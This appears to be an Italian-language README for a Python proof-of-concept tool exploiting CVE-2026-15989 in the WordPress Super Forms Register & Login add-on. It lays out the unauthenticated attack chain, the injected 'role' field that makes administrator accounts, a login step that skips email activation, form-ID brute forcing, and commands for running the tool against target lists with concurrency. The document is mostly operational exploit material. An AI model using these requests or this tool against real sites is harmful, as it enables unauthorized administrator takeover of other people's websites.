
Scanner PoC in Python per CVE-2026-15989, che sfrutta l'iniezione di ruoli non autenticata in WordPress Super Forms per creare account amministratore e verificarne l'accesso.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Auto-discovery senza fingerprint · Payload consapevoli della validazione · Zero autenticazione · Classificazione onesta
| Plugin WordPress | Super Forms – Drag & Drop Form Builder (add-on Register & Login) |
| Versione Affetta | <= 6.3.316 |
| Versione Corretta | 6.3.317 |
| Autenticazione | ❌ Nessuna richiesta — è sufficiente qualsiasi form di registrazione pubblicato |
| CVSS | 9.8 CRITICAL |
role in whitelist → Creazione di AmministratoreGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
L'add-on copia
$data['role']['value']direttamente nell'array user-data senza validarlo rispetto alregister_user_roleconfigurato dall'admin, senza una allow-list e senza alcun controllo di capability — un singolo campo iniettato"role": {"value":"administrator"}vince.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
L'add-on applica il suo gate di attivazione email / moderazione solo quando l'azione POST NON è
super_submit_form— quindi la stessa azione del form che registra l'utente sblocca anche il login, ancor prima di qualsiasi verifica email.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Anche i form non di registrazione rispondono
error:false, quindi ogni id accettato è solo un candidato finché la credenziale non è provata con un login reale.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — un URL base per riga:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Opzione | Descrizione |
|---|---|
--list FILE | file dei target — un URL per riga (obbligatorio) |
--output, -o FILE | hit-list — solo i target VULNERABILI scritti in tempo reale (senza ANSI) |
--threads N | worker concorrenti sui target (default 10) |
--timeout N | timeout socket per richiesta in secondi (default 10) |
--full | esegue l'INTERA catena — aggiunge il fallback brute sull'ID del form (gli account VERRANNO creati sui target vulnerabili) |
| Stato | Significato |
|---|---|
VULNERABLE | account creato e accesso amministratore a wp-admin provato (200) |
NOT-VULNERABLE | login OK ma pagine admin 403 — ruolo ignorato → build corretta |
UNVERIFIED | invio accettato ma login rifiutato (account bloccato/in attesa o form non di registrazione) — mai segnalato come falso positivo silenzioso |
BLOCKED | invio rifiutato (reCAPTCHA, CSRF, campi obbligatori, honeypot…) |
ERROR | target irraggiungibile / errore DNS — segnalato con la causa esatta |